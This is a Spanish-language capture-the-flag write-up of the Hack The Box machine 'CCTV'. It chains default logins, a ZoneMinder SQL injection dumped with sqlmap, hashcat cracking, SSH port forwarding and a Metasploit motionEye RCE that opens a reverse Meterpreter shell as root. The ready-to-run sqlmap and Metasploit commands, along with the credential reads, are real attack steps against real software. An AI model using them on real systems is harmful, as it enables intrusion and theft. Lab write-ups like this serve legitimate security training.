CCTV WriteUp

Table of Contents

CCTV WriteUp

CCTV es una máquina de dificultad 🟩 Easy de la plataforma Hack The Box. Combina la explotación de una SQL Injection en ZoneMinder para obtener credenciales de un usuario SSH, con el descubrimiento de servicios internos de video-vigilancia tras pivotar desde la máquina comprometida. La escalada a root se consigue a través de un RCE autenticado en motionEye.

🗺️ Cadena de Ataque

Nmap → Puerto 80 (ZoneMinder 1.37.63)
      │
      ▼
Credenciales por defecto admin:admin → acceso al panel
      │
      ▼
CVE-2024-51482 (Boolean SQLi) → sqlmap → mark:opensesame
      │
      ▼
SSH como mark
      │
      ▼
LinPEAS → tcpdump (cap_net_raw) + puertos internos
      │
      ▼
Port Forwarding → motionEye 0.43.1b4 en :8765
      │
      ▼
/etc/motioneye/motion.conf → admin:989c5a8ee87a0e9521ec81a79187d162109282f0
      │
      ▼
CVE-2025-60787 (Metasploit RCE) → root 🏴

🔍 Reconocimiento

Escaneo de Puertos

echo "10.129.15.204 cctv.htb" | sudo tee -a /etc/hosts
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv cctv.htb
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv cctv.htb
PuertoServicioDetalle
22SSHOpenSSH 9.6p1 Ubuntu
80HTTPApache 2.4.58 → SecureVision CCTV

La superficie de ataque es pequeña. El puerto 22 no es vulnerable, así que nos centramos en el 80.

🌐 Puerto 80 — ZoneMinder

Al entrar encontramos la web de SecureVision, una empresa de soluciones de seguridad (CCTV, control de acceso, etc.). El único punto de entrada es el botón Staff Login, que redirige a un panel de ZoneMinder.

🧠 ¿Qué es ZoneMinder? Software open-source de CCTV para Linux compatible con cámaras IP, USB y analógicas.

Lo primero, probamos las credenciales por defecto:

admin:admin

Funcionan. Una vez dentro, confirmamos la versión consultando la API:

curl -s http://cctv.htb/zm/api/host/getVersion.json \
  --cookie "ZMSESSID=<tu_cookie>" | jq
{
  "version": "1.37.63",
  "apiversion": "2.0"
}

ZoneMinder 1.37.63 — una búsqueda rápida revela el CVE-2024-51482 , valorado 9.9 CRITICAL.

CVE-2024-51482 — Boolean-Based SQL Injection

Se trata de una blind boolean-based SQLi en el parámetro tid. Hacer el dump manual llevaría horas, así que usamos sqlmap directamente sobre la tabla de credenciales de ZoneMinder:

💡 ZoneMinder almacena usuarios y contraseñas en la base de datos zm, tabla Users, columnas Username y Password.

sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \
  --cookie="ZMSESSID=<tu_cookie>" \
  -D "zm" -T "Users" -C "Username,Password" \
  --dump --batch
+------------+--------------------------------------------------------------+
| Username   | Password                                                     |
+------------+--------------------------------------------------------------+
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/...                           |
| mark       | $2y$10$prZGnazejKcuTv5bKNexXO...                            |
| admin      | $2y$10$t5z8uIT.n9uCdHCNidcLf....                            |
+------------+--------------------------------------------------------------+

Crackeando los Hashes

Los hashes son BCrypt ($2y$10$) con 1024 iteraciones. Los pasamos por hashcat:

hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt
$2y$10$prZGnazejKcuTv5bKNexXO...:opensesame   → mark
$2y$10$t5z8uIT.n9uCdHCNidcLf...  :admin        → admin

⚠️ superadmin no aparece en rockyou. Las credenciales admin:admin ya las teníamos — las relevantes son mark:opensesame.

💉 Acceso Inicial — SSH como mark

ssh mark@cctv.htb
# password: opensesame

mark@cctv:~$

🔎 Reconocimiento Interno

Ejecutamos LinPEAS y anotamos lo más relevante:

Interfaces de red múltiples (veth..., br-...) — apuntan a contenedores Docker corriendo en la máquina.

Puertos escuchando en localhost:

PuertoServicio identificado
7999Motion 4.7.1
1935MediaMTX (RTMP)
8554MediaMTX (RTSP)
8765motionEye 0.43.1b4
8888MediaMTX (HTTP API)
9081Stream MJPEG (cámara)
3306MySQL 8.0.45

Capabilities destacadas:

/usr/bin/tcpdump   cap_net_raw=eip   ← permite captura de tráfico
/usr/bin/ping      cap_net_raw=ep

💡 cap_net_raw=eip en tcpdump significa que está activo desde el inicio (e), autorizado (p) y heredable por procesos hijos (i). Podríamos capturar tráfico de las interfaces internas, pero hay un vector más directo.

Haciendo Port Forwarding a los Servicios Internos

Redirigimos los puertos más interesantes a nuestra máquina para analizarlos desde el navegador:

ssh -L 8765:127.0.0.1:8765 -L 7999:127.0.0.1:7999 -L 9081:127.0.0.1:9081 mark@cctv.htb

Con nmap sobre los puertos redirigidos identificamos:

  • :7999Motion 4.7.1 (daemon de detección de movimiento)
  • :8765motionEye 0.43.1b4 (frontend web para Motion)
  • :9081 → Stream MJPEG en vivo de una cámara

🧠 Stack de video-vigilancia: Motion captura las imágenes de las cámaras, motionEye proporciona la interfaz web para gestionarlo, y MediaMTX enruta los streams RTSP/RTMP.

🔑 Credenciales de motionEye

Buscamos credenciales para motionEye en los archivos de configuración:

cat /etc/motioneye/motion.conf
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @normal_username user
# @normal_password

El valor parece un hash SHA-1, pero ni Crackstation ni hashcat con rockyou lo descifran. Probamos a usarlo directamente como contraseña con admin:

admin:989c5a8ee87a0e9521ec81a79187d162109282f0 ✅

⚠️ No era un hash — era la contraseña en texto plano almacenada con ese formato inusual en el archivo de configuración.

🧗 Escalada de Privilegios — CVE-2025-60787

motionEye 0.43.1b4 es vulnerable al CVE-2025-60787 , un RCE autenticado en la función add_camera. Existe módulo en Metasploit:

msfconsole
use exploit/linux/http/motioneye_auth_rce_cve_2025_60787
set RHOSTS 127.0.0.1
set RPORT 8765
set USERNAME admin
set PASSWORD 989c5a8ee87a0e9521ec81a79187d162109282f0
set LHOST <tu_ip>
set LPORT 4444
run
[+] The target appears to be vulnerable. Detected version 0.43.1b4
[*] Adding malicious camera...
[+] Camera successfully added
[*] Triggering exploit...
[*] Meterpreter session 1 opened

meterpreter > shell
whoami
root

🚩 User Flag

cat /home/sa_mark/user.txt

🏴 Root Flag

cat /root/root.txt

📝 Resumen de la Cadena

#TécnicaHerramientaResultado
1ReconocimientonmapZoneMinder 1.37.63 en puerto 80
2Default credentialsBrowserAcceso al panel ZoneMinder
3CVE-2024-51482 (SQLi)sqlmapHash BCrypt de mark
4Crackeo de hashhashcat + rockyoumark:opensesame
5Acceso inicialsshShell como mark
6Reconocimiento internolinpeas, port forwardingmotionEye 0.43.1b4 en :8765
7Lectura de configcat /etc/motioneye/motion.confadmin:989c5a8...
8CVE-2025-60787 (RCE)MetasploitShell como root 🏴

Un saludo, nos vemos en el próximo challenge.